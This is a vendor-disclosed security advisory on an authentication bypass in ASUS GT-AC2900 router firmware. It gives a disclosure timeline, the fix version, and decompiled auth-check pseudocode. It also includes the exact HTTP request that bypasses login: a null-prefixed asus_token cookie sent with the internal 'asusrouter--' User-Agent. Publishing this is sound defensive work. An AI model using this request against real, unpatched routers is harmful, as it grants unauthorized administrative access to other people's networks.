Skip to content
Permalink
master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

Asus - GT-AC2900 - Authentication Bypass

Vendors

  • Asus

Affected Products

  • ASUS GT-AC2900 Firmware version 9.0.0.4.386.41994 (Beta Version)
  • ASUS GT-AC2900 Firmware version 3.0.0.4.386.41793 (Latest production)

Summary

The ASUS GT-AC2900 administrator application is susceptible to an authentication bypass vulnerability when processing remote input from an unauthenticated user, leading to unauthorized access to the administrator interface.

Remediation/Mitigation

Update to firmware version 3.0.0.4.386.42643

Credit

This issue was found by Chris Bellows and Darren Kemp of Atredis Partners

References

Report Timeline

  • 2021-03-16: Atredis Partners sent an initial notification to Asus, including this draft advisory
  • 2021-03-23: Asus acknowledged the issue and provided a link to patched beta firmware; Atredis confirmed fix, notifying Asus
  • 2021-03-24: Asus acknowedged Atredis' confirmation and indicated that firmware would be generally available within 1 to 2 months
  • 2021-04-28: Asus made patched firmware generally available
  • 2021-04-30: Atredis Partners filed a vulnerablity report with CERT/CC
  • 2021-05-06: As the vulnerability was patched, Atredis Partners published this advisory

Technical Details

The ASUS GT-AC2900 device's administrative web application utilizes a session cookie (asus_token) to manage session states. It was found that the validation of this cookie fails when the following occurs:

  • The submitted asus_token starts with a Null (0x0)
  • The request User-Agent matches an internal service UA (asusrouter--)
  • The device has not been configured with an ifttt_token (default state)

This condition results in the server incorrectly identifying the request as being authenticated. The following example shows a normal request and response for valid session:

GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1
Host: 192.168.1.107:8443
Content-Length: 0
User-Agent: asusrouter--
Connection: close
Referer: https://192.168.1.107:8443/
Cookie: asus_token=iCOPsFa54IUYc4alEFeOP4vjZrgspAY; clickedItem_tab=0

HTTP/1.0 200 OK
Server: httpd/2.0
Content-Type: application/json;charset=UTF-8
Connection: close

{
"get_cfg_clientlist":[{"alias":"24:4B:FE:64:37:10","model_name":"GT-AC2900","ui_model_name":"GT-AC2900","fwver":"3.0.0.4.386_41793-gdb31cdc","newfwver":"","ip":"192.168.50.1","mac":"24:4B:FE:64:37:10","online":"1","ap2g":"24:4B:FE:64:37:10","ap5g":"24:4B:FE:64:37:14","ap5g1":"","apdwb":"","wired_mac":[
...
...
}

The following shows that the same request fails in the case an invalid asus_token is provided:

GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1
Host: 192.168.1.107:8443
Content-Length: 0
User-Agent: asusrouter-- 
Connection: close
Referer: https://192.168.1.107:8443/
Cookie: asus_token=Invalid; clickedItem_tab=0


HTTP/1.0 200 OK
Server: httpd/2.0
Content-Type: application/json;charset=UTF-8
Connection: close

{
"error_status":"2"
}

If a null character is placed at the front of the asus_token, the request will be incorrectly identified as being authenticated, as seen in the following request and response:

GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1
Host: 192.168.1.107:8443
Content-Length: 0
User-Agent: asusrouter--
Connection: close
Referer: https://192.168.1.107:8443/
Cookie: asus_token=\0Invalid; clickedItem_tab=0

HTTP/1.0 200 OK
Server: httpd/2.0
Content-Type: application/json;charset=UTF-8
Connection: close

{
"get_cfg_clientlist":[{"alias":"24:4B:FE:64:37:10","model_name":"GT-AC2900","ui_model_name":"GT-AC2900","fwver":"3.0.0.4.386_41793-gdb31cdc","newfwver":"","ip":"192.168.50.1","mac":"24:4B:FE:64:37:10","online":"1","ap2g":"24:4B:FE:64:37:10","ap5g":"24:4B:FE:64:37:14","ap5g1":"","apdwb":"","wired_mac":[
...
...
}

Authentication and validation of requests occurs within the function handle_request, specifically through the function auth_check, which can be seen in the following code excerpt from the GPL source archive:

router/httpd/httpd.c - handle_request

static void
handle_request(void)
{
...
...
...
handler->auth(auth_userid, auth_passwd, auth_realm);
auth_result = auth_check(auth_realm, authorization, url, file, cookies, fromapp); <---- call to auth_check in web_hook.o
if (auth_result != 0) 
{
	if(strcasecmp(method, "post") == 0 && handler->input)	//response post request
		while (cl--) (void)fgetc(conn_fp);
        send_login_page(fromapp, auth_result, url, file, auth_check_dt, add_try);
        return;
}
...
...

The auth_check function is implemented within a compiled object (web_hook.o), which validates the received session identifier is valid. The process is broken down to the following items at a high level:

  • Check that the request cookies contain an asus_token
  • Check if the extracted asus_token exists within the current session list
  • Check if the extracted asus_token is a stored service token (IFTTT/Alexa)

The following decompiled pseudocode shows the underlying code responsible for carrying out this process:

router/httpd/prebuild/web_hook.o - auth_check

int __fastcall auth_check(char *dirname, char *authorization, const char *url, char *file, char *cookies, int fromapp_flag)
{
  void *v7; // r0
  bool v8; // cc
  char *v9; // r5
  int *v10; // r0
  int v11; // r5
  int *v12; // r4
  int v13; // r0
  int v14; // r0
  bool v15; // cc
  char *v16; // r5
  int *v17; // r0
  int result; // r0
  char *pAsusTokenKeyStart; // r0
  char *pAsusTokenValueStart; // r9
  size_t space_count; // r0
  unsigned int v22; // r2
  int *v23; // r0
  int v24; // r5
  int *v25; // r4
  int v26; // [sp+10h] [bp-50h]
  char user_token[32]; // [sp+1Ch] [bp-44h] BYREF

  v7 = memset(user_token, 0, sizeof(user_token));
  v26 = cur_login_ip_type;
...
...
...
  result = auth_passwd;
  if ( auth_passwd )
  {
    // check that the request has a cookie header set and the asus_token cookie exists
    // example header - Cookie: asus_token=iCOPsFa54IUYc4alEFeOP4vjZrgspAY; clickedItem_tab=0
    if ( !cookies || (pAsusTokenKeyStart = strstr(cookies, "asus_token")) == 0 ) // <-----
    {
      // check if this is the first access for initial setup - this is skipped
      if ( !is_firsttime() ) // <-----
      {
        add_try = 0;
        return 1;
      }
      goto PAGE_REDIRECT;
    }
    // find the location of the asus_token value
    pAsusTokenValueStart = pAsusTokenKeyStart + 11; // <-----
    space_count = strspn(pAsusTokenKeyStart + 11, " \t"); // <-----
    
    // set the user_token variable to the extracted value from the user request
    snprintf(user_token, 0x20u, "%s", &pAsusTokenValueStart[space_count]); // <-----
    
    // validate the user_token value, check_ifttt_token returns 1, causing the if statement to be skipped that would normally result in an authentication failure
    if ( !search_token_in_list(user_token, 0) && !check_ifttt_token(user_token) ) // <-----

The check_ifttt_token function compares the user submitted value to the stored configuration value currently stored in the systems nvram configuration. The following shows the decompiled pseudocode for this function:

router/httpd/prebuild/web_hook.o - check_ifttt_token

int __fastcall check_ifttt_token(const char *asus_token)
{
  char *ifft_token; // r0
  char *v3; // r0
  int result; // r0
  ifft_token = nvram_safe_get("ifttt_token"); // <----- returns \0
The function nvram_safe_get is used to retrieve the stored ifttt_token value from the systems nvram configuration, which can be seen in the following decompiled pseudocode:
router/httpd/prebuild/web_hook.o - nvram_safe_get
char *__fastcall nvram_safe_get(char* setting_key)
{
  char *result; // r0

  result = nvram_get(setting_key);
  if ( !result )
    result = "\0";
  return result;
}

In the case the nvram configuration does not contain a value for the requested setting, the function returns "\0" (Null). As the submitted asus_token has been set to a Null from the original request the string comparison will indicate that the values are equal and the check_iftt_token function will return true (1), as seen in the following pseudocode:

router/httpd/prebuild/web_hook.o - check_ifttt_token

ifft_token = nvram_safe_get("ifttt_token"); // <----- returns \0
  if ( !strcmp(asus_token, ifft_token) ) // <----- returns 0 as they match, evals to true and login is successful
  {
    // if the IFTTT_ALEXA log file is enabled, log successful check message
    if ( isFileExist("/tmp/IFTTT_ALEXA") > 0 )
      Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] IFTTT/ALEXA long token success.\n", "check_ifttt_token", 760);
      
      // Return 1
      result = 1; // <----- set result value
  }
  else// <----- skipped
  {
    if ( isFileExist("/tmp/IFTTT_ALEXA") > 0 )
      Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] IFTTT/ALEXA long token fail.\n", "check_ifttt_token", 766);
    if ( isFileExist("/tmp/IFTTT_ALEXA") > 0 )
      Debug2File(
        "/tmp/IFTTT_ALEXA.log",
        "[%s:(%d)][HTTPD] IFTTT/ALEXA long token is %s.\n",
        "check_ifttt_token",
        767,
        asus_token);
    if ( isFileExist("/tmp/IFTTT_ALEXA") > 0 )
    {
      v3 = nvram_safe_get("ifttt_token");
      Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] httpd long token is %s.\n", "check_ifttt_token", 768, v3);
    }
    result = 0;
  }
  return result; // <----- return 1
}

Continuing back within auth_check, the check_ifttt_token return value causes the if statement to evaluate to false, skipping the code path that would result in a failed authentication attempt, resulting in the authentication process to succeed:

router/httpd/prebuild/web_hook.o - auth_check

  if ( !search_token_in_list(user_token, 0) && !check_ifttt_token(user_token) ) // <-----
   {
      if ( !is_firsttime() )
      {
        if ( !strcmp(last_fail_token, user_token) )
        {
          add_try = 0;
        }
        else
        {
          strlcpy(last_fail_token, user_token, 32);
          add_try = 1;
        }
        v23 = _errno_location();
        v24 = *v23;
        v25 = v23;
        if ( f_exists("/tmp/HTTPD_DEBUG") > 0 || nvram_get_int("HTTPD_DBG") > 0 )
          asusdebuglog(6, "/jffs/HTTPD_DEBUG.log", 0, 1, 0, "[%s(%d)]:AUTHFAIL\n\n", "auth_check", 1054);
        result = 2;
        *v25 = v24;
        return result;
      }
PAGE_REDIRECT:
      page_default_redirect(fromapp_flag, url);
      return 0;
    }
...
...
  return result;
}

By monitoring the system logs confirmation of successful IFTT/ALEXA login token processing can be seen when submitting a malformed asus_token:

admin@GT-AC2900-3711:/jffs# tail -f /tmp/IFTTT_ALEXA.log
[check_ifttt_token:(1014)][HTTPD] IFTTT/ALEXA long token success.